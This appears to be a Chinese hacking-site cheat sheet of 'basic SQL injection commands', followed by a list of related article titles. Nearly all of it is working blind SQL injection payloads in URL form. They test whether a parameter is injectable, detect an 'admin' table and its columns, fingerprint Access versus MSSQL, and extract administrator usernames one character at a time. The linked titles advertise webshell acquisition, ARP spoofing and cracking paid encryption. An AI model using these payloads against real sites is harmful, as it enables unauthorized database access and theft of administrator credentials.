SQL注射基础命令
==================================================
□ 检测可否注入
==================================================
http://url/xx?id=1111 and 1=1 (正常页面)
http://url/xx?id=1111 and 1=2 (出错页面)
==================================================
□ 检测表段的
==================================================
http://url/xx?id=1111 and exists (select * from admin)
==================================================
□ 检测字段的
==================================================
http://url/xx?id=1111 and exists (select username from admin)
==================================================
□ 检测ID
==================================================
http://url/xx?id=1111 and exists (select id from admin where ID=1)
==================================================
□ 检测长度的
==================================================
http://url/xx?id=1111 and exists (select id from admin where len(username)=5 and ID=1)
==================================================
□ 检测长度的
==================================================
http://url/xx?id=1111 and exists (select id from admin where len(username)=5 and ID=1)
==================================================
□ 检测是否为MSSQL数据库
==================================================
http://url/xx?id=1111 and exists (select * from sysobjects)
==================================================
□ 检测是否为英文
==================================================
(ACCESS数据库)
http://url/xx?id=1111 and exists (select id from admin where asc(mid(username,1,1)) between 30 and 130 and ID=1)
(MSSQL数据库)
http://url/xx?id=1111 and exists (select id from admin where unicode(substring(username,1,1)) between 30 and 130 and
ID=1)
==================================================
□ 检测英文的范围
==================================================
(ACCESS数据库)
http://url/xx?id=1111 and exists (select id from admin where asc(mid(username,1,1)) between 90 and 100 and ID=1)
(MSSQL数据库)
http://url/xx?id=1111 and exists (select id from admin where unicode(substring(username,1,1)) between 90 and 100 and ID=1)
==================================================
□ 检测那个字符
==================================================
(ACCESS数据库)
http://url/xx?id=1111 and exists (select id from admin where asc(mid(username,1,1))=97 and ID=1)
(MSSQL数据库)
http://url/xx?id=1111 and exists (select id from admin where unicode(substring(username,1,1))=97 and ID=1)
| Vista+谷歌拼音输入法重现输入法 | 04-06 | |
| 45种可以拿到Webshell的技巧 | 04-02 | |
| 0起步接触黑客--实用价值相当高 | 04-02 | |
| 普通文件的欺骗手法 | 03-21 | |
| 黑客技术-ARP欺骗 | 03-19 | |
| 跨站Script攻击和防范 | 03-19 | |
| 超级兔子+WinRAR轻松破解收费加密 | 03-16 | |
| 浏览器执行exe文件的探讨 | 03-15 | |
| 菜鸟"搜"大量Web Shell的思路 | 03-14 | |
| 轻松录制在线网络电视的方法 | 03-14 | |
| 突破单位网管封杀QQ、MSN 端口的 | 03-14 | |
| 菜鸟找漏洞—渗透网站的“反思” | 02-06 | |